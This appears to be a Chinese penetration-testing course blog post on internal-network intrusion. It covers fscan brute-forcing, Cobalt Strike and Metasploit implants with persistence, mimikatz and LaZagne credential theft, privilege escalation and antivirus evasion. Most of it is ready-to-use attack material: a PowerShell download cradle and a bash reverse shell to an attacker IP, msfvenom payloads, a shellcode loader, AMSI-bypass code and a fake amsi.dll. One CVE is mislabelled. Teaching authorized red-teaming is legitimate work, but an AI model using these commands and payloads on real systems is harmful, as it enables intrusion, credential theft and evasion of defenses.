内网渗透进阶:权限提升与免杀

3 阅读9分钟

内网渗透进阶:权限提升与免杀

马哥教育网络安全课程实战博客 · 第十二篇 对应课程章节:第24章 · 内网渗透之fscan、远控上线、信息搜集、权限提升和免杀


一、前言

在上一篇中,我们掌握了MSF和CS的基本使用。本篇将深入内网渗透的进阶环节:使用fscan进行综合扫描、部署远控实现持久化、全面收集内网信息、进行权限提升以及实现免杀对抗。这些技能是红队演练中从初步立足到完全控制目标的关键路径。


二、fscan综合扫描

2.1 fscan简介与安装

fscan是一款开源的内网综合扫描工具,集成了主机存活探测、端口扫描、常见服务爆破、漏洞检测等功能,是内网渗透侦察阶段的首选工具。

# 下载安装
# 攻击机 113.47.1.165
wget https://github.com/shadow1ng/fscan/releases/latest/download/fscan_amd64
chmod +x fscan_amd64
mv fscan_amd64 /usr/local/bin/fscan

# 查看帮助
fscan -h

2.2 fscan核心功能

# === 主机存活探测 + 端口扫描 ===
# 扫描单个IP
fscan -h 113.44.174.47

# 扫描网段
fscan -h 113.44.174.0/24

# 扫描多个目标
fscan -h 113.44.174.47,113.44.137.250,119.3.169.5

# === 指定端口 ===
fscan -h 113.44.174.47 -p 22,80,445,3306,3389,6379,8080

# 全端口扫描
fscan -h 113.44.174.47 -p 1-65535

# === 服务爆破 ===
# SSH爆破
fscan -h 113.44.174.47 -p 22 -userf user.txt -pwdf pass.txt

# SMB爆破
fscan -h 113.44.137.250 -p 445 -userf user.txt -pwdf pass.txt

# MySQL爆破
fscan -h 113.44.174.47 -p 3306 -userf user.txt -pwdf pass.txt

# === Web漏洞扫描 ===
fscan -h 113.44.174.47 -p 80,443,8080 -w

# === 漏洞检测 ===
# 检测MS17-010(永恒之蓝)
fscan -h 113.44.137.250 -p 445

# 检测Log4j
fscan -h 113.44.174.47 -p 80,443,8080 -w

# === 输出结果 ===
fscan -h 113.44.174.0/24 -o result.txt

2.3 fscan扫描结果解读

# 典型输出示例
   ___                              ___
  /   \  ___  ___  ___ ___  ___    /   \  ___  ___
 |    | /   \/   \/   /   \/   \  |    | /   \/   \
 |    ||   ||   ||   ||   ||   |  |    ||   ||   |
  \___/ \___/\___/\___/\___/\___/   \___/ \___/\___/

fscan version: 1.1.10
start infoscan
(113.44.174.47) [22] Open
(113.44.174.47) [80] Open
(113.44.174.47) [3306] Open
(113.44.174.47) [8080] Open

start vulscan
[*] (113.44.174.47) [80] WebTitle http://113.44.174.47 DVWA
[*] (113.44.174.47) [8080] WebTitle http://113.44.174.47:8080 Tomcat
[+] (113.44.137.250) [445] SMB MS17-010 vulnerable

start sshscan
[+] SSH:113.44.174.47:22:ubuntu ubuntu

[+] fscan done! targets: 3, time: 15.2s

2.4 自定义字典

# 常用用户名字典
cat > user.txt << 'EOF'
root
admin
administrator
ubuntu
test
user
guest
msfadmin
EOF

# 常用密码字典
cat > pass.txt << 'EOF'
123456
password
admin
root
123456789
Passw0rd
p@ssw0rd
admin123
test123
ubuntu
msfadmin
EOF

三、远控上线

3.1 Cobalt Strike Beacon上线

# === 生成Beacon Payload ===
# 在CS控制台中

# 方式一:直接生成exe
beacon> attacks > Packages > Windows Executable
  Listener: http_listener
  Output: exe
  Save as: beacon.exe

# 方式二:生成PowerShell一句话
beacon> attacks > Packages > PowerShell Command
  Listener: http_listener
  # 生成类似以下的命令:
  # powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://113.47.1.165:8080/a'))"

# 方式三:生成Shellcode
beacon> attacks > Packages > Payload Generator
  Listener: http_listener
  Output: C
  # 生成C格式shellcode,可嵌入自定义加载器

3.2 Metasploit Payload上线

# 生成Meterpreter Payload
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=113.47.1.165 LPORT=4444 -f elf -o shell.elf

# 传输到目标并执行
# 通过已获得的shell上传
meterpreter > upload shell.elf /tmp/shell.elf
meterpreter > shell
chmod +x /tmp/shell.elf
/tmp/shell.elf &

# 在MSF中设置监听
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6 > set LHOST 113.47.1.165
msf6 > set LPORT 4444
msf6 > exploit -j

3.3 隐蔽执行技术

# === Linux隐蔽执行 ===
# 后台静默运行
nohup /tmp/shell.elf > /dev/null 2>&1 &

# 通过计划任务持久化
(crontab -l 2>/dev/null; echo "*/30 * * * * /tmp/shell.elf") | crontab -

# === Windows隐蔽执行 ===
# PowerShell隐藏执行
powershell.exe -windowstyle hidden -executionpolicy bypass -file beacon.ps1

# 计划任务持久化
schtasks /create /tn "SystemUpdate" /tr "C:\Windows\Temp\beacon.exe" \
  /sc minute /mo 30 /ru SYSTEM

# 注册表自启动
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" \
  /v SystemUpdate /t REG_SZ /d "C:\Windows\Temp\beacon.exe" /f

四、内网信息搜集

4.1 BloodHound / SharpHound 域枚举

# === BloodHound安装 ===
# 需要Neo4j图数据库
sudo apt install -y neo4j
sudo systemctl start neo4j

# 初始化Neo4j密码
sudo neo4j-admin set-initial-password magedu123

# 下载BloodHound
wget https://github.com/BloodHoundAD/BloodHound/releases/latest/download/BloodHound-linux-x64.zip
unzip BloodHound-linux-x64.zip
./BloodHound --no-sandbox

# === SharpHound数据收集 ===
# 在已上线的Windows主机上执行
# 通过CS执行
beacon> execute-assembly SharpHound.exe -c All --zipfilename magedu.zip

# 或通过PowerShell
beacon> powershell-import SharpHound.ps1
beacon> powershell Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp\

# 下载收集结果
beacon> download C:\Temp\magedu.zip

# 导入BloodHound分析
# 在BloodHound界面中上传zip文件
# 使用预置查询分析攻击路径:
# - Find All Domain Admins
# - Shortest Path to Domain Admins
# - Find AS-REP Roastable Users
# - Find DCSync Users

4.2 凭据收集

mimikatz抓取Windows凭据
# === 通过CS执行mimikatz ===
beacon> run mimikatz

# 抓取明文密码(需要管理员权限)
beacon> mimikatz sekurlsa::logonpasswords

# 抓取LSASS中的凭据
beacon> mimikatz sekurlsa::wdigest

# 导出NTLM哈希
beacon> mimikatz lsadump::sam

# DCSync攻击(需要域控权限)
beacon> mimikatz lsadump::dcsync /domain:magedu.local /all

# 导出Kerberos票据
beacon> mimikatz kerberos::tgt
beacon> mimikatz kerberos::list /export
LaZagne收集应用密码
# LaZagne可从大量应用中提取存储的密码
# 通过CS上传并执行
beacon> upload LaZagne.exe C:\Windows\Temp\
beacon> shell C:\Windows\Temp\LaZagne.exe all

# 或通过MSF
meterpreter > upload LaZagne.exe /tmp/
meterpreter > shell
/tmp/LaZagne.exe all -oN  # 输出到文件

# LaZagne支持收集的应用:
# - 浏览器(Chrome, Firefox, IE)
# - 邮件客户端(Outlook, Thunderbird)
# - 数据库工具(SQL Developer)
# - SSH客户端(PuTTY)
# - FTP客户端(FileZilla)
# - WiFi密码

4.3 网络流量分析

# === 在目标机上抓包 ===
# Linux使用tcpdump
tcpdump -i eth0 -w capture.pcap -c 10000
# 分析
tcpdump -r capture.pcap -n port 445
tcpdump -r capture.pcap -n host 10.0.0.2

# Windows使用netsh
netsh trace start capture=yes maxsize=50 tracefile=C:\temp\trace.etl
# 停止抓包
netsh trace stop

# === 内网流量嗅探 ===
# 通过MSF进行ARP欺骗+嗅探
msf6 > use auxiliary/sniffer/psnuffle
msf6 > set RHOSTS 10.0.0.0/24
msf6 > run

# 通过CS进行内网嗅探
beacon> upload tcpdump.exe C:\Windows\Temp\
beacon> shell C:\Windows\Temp\tcpdump.exe -i 1 -w C:\Windows\Temp\cap.pcap

五、权限提升

5.1 Linux提权

SUID提权
# 查找SUID文件
find / -perm -4000 -type f 2>/dev/null

# 常见可利用的SUID程序:
# - nmap (旧版本支持交互模式)
# - find
# - perl
# - python
# - bash
# - cp/mv (可覆盖/etc/passwd)

# 示例:find SUID提权
find . -exec /bin/sh \; -quit

# 示例:nmap SUID提权(旧版本)
nmap --interactive
nmap> !sh

# 示例:python SUID提权
python -c 'import os; os.execl("/bin/sh","sh","-p")'
sudo提权
# 查看sudo权限
sudo -l

# 常见可利用的sudo配置:
# 示例:sudo vim提权
sudo vim -c '!sh'

# 示例:sudo find提权
sudo find . -exec /bin/sh \;

# 示例:sudo perl提权
sudo perl -e 'exec "/bin/sh";'

# 示例:sudo env提权(CVE-2022-0847)
sudo env -i /bin/sh

# 使用GTFOBins查找提权方法
# https://gtfobins.github.io/
内核漏洞提权
# 查看内核版本
uname -a
# Linux ubuntu 5.15.0-25-generic ...

# 常见内核漏洞:
# - DirtyCow (CVE-2016-5195) - Linux 2.6.22 ~ 4.8.3
# - DirtyPipe (CVE-2022-0847) - Linux 5.8 ~ 5.16.10
# - CVE-2021-3493 - Ubuntu OverlayFS

# 搜索对应EXP
searchsploit dirty cow
searchsploit linux kernel 5.15

# 编译并执行
gcc -o dirtycow dirtycow.c -pthread
./dirtycow
计划任务提权
# 查看系统计划任务
cat /etc/crontab
ls -la /etc/cron.*
crontab -l

# 如果计划任务以root执行,且脚本可写
# 例如 /etc/crontab 中有:
# * * * * * root /tmp/cleanup.sh

# 如果/tmp/cleanup.sh可写
echo '#!/bin/bash' > /tmp/cleanup.sh
echo 'bash -i >& /dev/tcp/113.47.1.165/4444 0>&1' >> /tmp/cleanup.sh
chmod +x /tmp/cleanup.sh

# 在攻击机监听
nc -lvnp 4444
# 等待计划任务执行获得root shell

5.2 Windows提权

UAC绕过
# === 通过CS进行UAC绕过 ===
# 使用内置的elevate命令
beacon> elevate uac-sdclt http_listener
beacon> elevate uac-comhijack http_listener
beacon> elevate uac-eventvwr http_listener

# === 通过MSF进行UAC绕过 ===
msf6 > use exploit/windows/local/bypassuac_injection_wow64
msf6 > set SESSION 1
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 > set LHOST 113.47.1.165
msf6 > exploit

# === 手动UAC绕过(fodhelper) ===
# 修改注册表触发fodhelper.exe以高权限执行
beacon> shell reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f
beacon> shell reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "cmd /c C:\Windows\Temp\beacon.exe" /f
beacon> shell fodhelper.exe
服务提权
# === 查找可利用的服务 ===
# 查找服务路径未引用的可执行文件
beacon> shell wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\"

# 查找服务权限
beacon> shell accesschk.exe -uwcqv "Authenticated Users" *

# 如果服务路径包含空格且可写,利用未引用服务路径
# 例如:C:\Program Files\Some Service\service.exe
# 在C:\创建Program.exe

# === 令牌窃取 ===
# 通过CS窃取高权限令牌
beacon> steal_token 1234  # PID为高权限进程

# 通过MSF窃取令牌
meterpreter > steal_token 1234
meterpreter > getsystem  # 尝试获取SYSTEM权限

# === 不可写服务DLL劫持 ===
# 查找服务加载的DLL路径
beacon> shell sc qc <service_name>
# 如果DLL路径可写,替换恶意DLL
令牌模拟
# === 通过mimikatz进行令牌操作 ===
beacon> mimikatz privilege::debug
beacon> mimikatz token::elevate  # 提升为SYSTEM
beacon> mimikatz token::list     # 列出可用令牌

# === Potato系列提权 ===
# JuicyPotato (Windows 10 1809之前)
beacon> upload JuicyPotato.exe C:\Windows\Temp\
beacon> shell C:\Windows\Temp\JuicyPotato.exe -l 1337 -p C:\Windows\Temp\beacon.exe -t *

# RoguePotato
beacon> upload RoguePotato.exe C:\Windows\Temp\
beacon> shell C:\Windows\Temp\RoguePotato.exe -r 113.47.1.165 -e "C:\Windows\Temp\beacon.exe" -l 9999

# GodPotato (新版Windows)
beacon> upload GodPotato.exe C:\Windows\Temp\
beacon> shell C:\Windows\Temp\GodPotato.exe -cmd "C:\Windows\Temp\beacon.exe"

六、免杀技术(AV Evasion)

6.1 Shellcode编码与加密

# === msfvenom编码免杀 ===
# 单一编码器
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=113.47.1.165 LPORT=4444 \
  -e x64/xor_dynamic -f exe -o encoded.exe

# 多编码器链式编码
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=113.47.1.165 LPORT=4444 \
  -e x64/xor_dynamic -i 3 \
  -f raw | msfvenom -e x64/zutto_dekiru -i 5 \
  -f raw | msfvenom -e x64/call4_dword_xor -i 7 \
  -f exe -o multi_encoded.exe

# === 自定义Shellcode加载器 ===
# C语言加载器示例
// shellcode_loader.c - 自定义加载器
#include <windows.h>
#include <stdio.h>

// XOR解密函数
void xor_decrypt(unsigned char* data, int len, unsigned char key) {
    for (int i = 0; i < len; i++) {
        data[i] ^= key;
    }
}

int main() {
    // XOR加密后的shellcode(密钥:0x55)
    unsigned char shellcode[] = "\x55\x55\x55..."; // 省略
    int shellcode_len = sizeof(shellcode) - 1;

    // 解密
    xor_decrypt(shellcode, shellcode_len, 0x55);

    // 分配内存
    void* exec = VirtualAlloc(0, shellcode_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (exec == NULL) return -1;

    // 复制shellcode
    memcpy(exec, shellcode, shellcode_len);

    // 执行
    ((void(*)())exec)();

    return 0;
}
# 编译加载器
x86_64-w64-mingw32-gcc shellcode_loader.c -o loader.exe -l ws2_32

6.2 AMSI绕过

AMSI(Anti-Malware Scan Interface)是Windows 10引入的脚本扫描接口,PowerShell等脚本引擎会通过AMSI检测恶意代码。

# === AMSI绕过方法一:修改amsi.dll上下文 ===
# 在PowerShell中执行
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

# === AMSI绕过方法二:内存修补 ===
# 通过CS执行
beacon> powershell $a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$b=$a.GetField('amsiContext','NonPublic,Static');$c=$a.GetField('amsiSession','NonPublic,Static');[IntPtr]$d=$b.GetValue($null);[IntPtr]$e=$c.GetValue($null);$f=New-Object byte[](6);[Runtime.InteropServices.Marshal]::Copy([IntPtr]::Add($d,0),$f,0,6);[Runtime.InteropServices.Marshal]::WriteInt32($d,0x41414141)

# === AMSI绕过方法三:DLL劫持 ===
# 将伪造的amsi.dll放在PowerShell目录下
# 伪造的amsi.dll中AmsiScanBuffer函数始终返回AMSI_RESULT_CLEAN
// 伪造amsi.dll的核心函数
#include <windows.h>

// AMSI_RESULT_CLEAN = 0
HRESULT WINAPI AmsiScanBuffer(
    PVOID amsiContext,
    PVOID buffer,
    ULONG length,
    ULONG contentName,
    PVOID session,
    AMSI_RESULT* result
) {
    *result = 0; // AMSI_RESULT_CLEAN
    return S_OK;
}

HRESULT WINAPI AmsiScanString(
    PVOID amsiContext,
    LPCWSTR string,
    ULONG length,
    LPCWSTR contentName,
    PVOID session,
    AMSI_RESULT* result
) {
    *result = 0;
    return S_OK;
}

6.3 代码签名与混淆

# === 代码签名 ===
# 生成自签名证书
openssl req -x509 -newkey rsa:2048 \
  -keyout key.pem -out cert.pem \
  -days 365 -nodes \
  -subj "/CN=Magedu Software"

# 转换为PFX格式
openssl pkcs12 -export -out cert.pfx \
  -inkey key.pem -in cert.pem

# 使用osslsigncode签名
osslsigncode sign -pkcs12 cert.pfx -pass magedu \
  -in payload.exe -out signed.exe

# === 代码混淆 ===
# Python代码混淆
pip install pyarmor
pyarmor obfuscate payload.py

# PowerShell代码混淆
# 使用Invoke-Obfuscation
Import-Module Invoke-Obfuscation.psd1
Invoke-Obfuscation -ScriptBlock { IEX (New-Object Net.WebClient).DownloadString('http://113.47.1.165:8080/a') } -Command All

# C#代码混淆
# 使用ConfuserEx
# 配置混淆项目文件,进行控制流混淆、字符串加密等

6.4 Veil免杀框架

# === Veil安装 ===
sudo apt install -y veil
sudo veil --setup --force --silent

# === Veil生成免杀Payload ===
veil

# 选择Evasion模式
Veil> evasion

# 列出可用Payload
Veil/Evasion> list

# 使用C语言Meterpreter Payload
Veil/Evasion> use 1  # 或 use c/meterpreter/rev_tcp
Veil/Evasion/c/meterpreter/rev_tcp> set LHOST 113.47.1.165
Veil/Evasion/c/meterpreter/rev_tcp> set LPORT 4444
Veil/Evasion/c/meterpreter/rev_tcp> generate

# 使用Python Payload
Veil/Evasion> use 7  # 或 use py/meterpreter/rev_tcp
Veil/Evasion/py/meterpreter/rev_tcp> set LHOST 113.47.1.165
Veil/Evasion/py/meterpreter/rev_tcp> set LPORT 4444
Veil/Evasion/py/meterpreter/rev_tcp> generate

# 生成的文件在 /var/lib/veil/output/ 目录
# Veil使用多种编码和加密技术绕过AV检测

6.5 Shellter免杀工具

# === Shellter安装 ===
# Shellter是动态代码注入工具,将shellcode注入合法PE文件
sudo apt install -y shellter

# === Shellter使用 ===
shellter

# 选择操作模式
# A - 自动模式
# M - 手动模式

# 选择注入目标(合法程序)
# 例如:ping.exe, notepad.exe
# 需要一个32位的合法PE文件

# 选择Payload
# 1 - Meterpreter Reverse TCP (MSF)
# 2 - Custom Shellcode

# 设置LHOST和LPORT
# LHOST: 113.47.1.165
# LPORT: 4444

# 生成注入后的文件
# Shellter会在合法程序中注入shellcode
# 由于使用合法程序作为载体,行为特征更隐蔽

# 在MSF中设置监听
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/meterpreter/reverse_tcp
msf6 > set LHOST 113.47.1.165
msf6 > set LPORT 4444
msf6 > exploit -j

6.6 免杀效果验证

# === 在线查杀 ===
# 将生成的payload上传到以下平台检测:
# - https://www.virustotal.com/
# - https://www.hybrid-analysis.com/
# - https://www.joesandbox.com/

# 注意:上传到VirusTotal后样本会被分享给AV厂商
# 实际红队中应使用本地沙箱检测

# === 本地检测 ===
# 使用Windows Defender本地检测
# 将payload传输到安装了Defender的测试机
# 观察是否被检测

# 查看Defender检测结果
Get-MpThreatDetection
Get-MpThreat

# 临时关闭Defender用于测试(需管理员权限)
Set-MpPreference -DisableRealtimeMonitoring $true

七、总结

本篇深入讲解了内网渗透的进阶技术:

  1. fscan综合扫描:掌握了主机发现、端口扫描、服务爆破、漏洞检测的一体化扫描能力
  2. 远控上线:学会了通过CS Beacon和MSF Payload实现目标持久化控制
  3. 信息搜集:使用BloodHound进行域枚举,mimikatz和LaZagne收集凭据,网络流量分析
  4. 权限提升:掌握了Linux(SUID、sudo、内核漏洞、计划任务)和Windows(UAC绕过、服务提权、令牌模拟)的提权方法
  5. 免杀技术:学习了Shellcode编码、AMSI绕过、代码签名混淆、Veil和Shellter等免杀框架的使用

这些技术组合使用,构成了完整的内网渗透杀伤链:侦察 → 立足 → 提权 → 横向 → 持久化 → 免杀对抗。


免责声明:本文所有技术内容仅用于授权安全测试和教学目的。未经授权对他人系统进行渗透测试属于违法行为。请在合法授权范围内使用所学技术。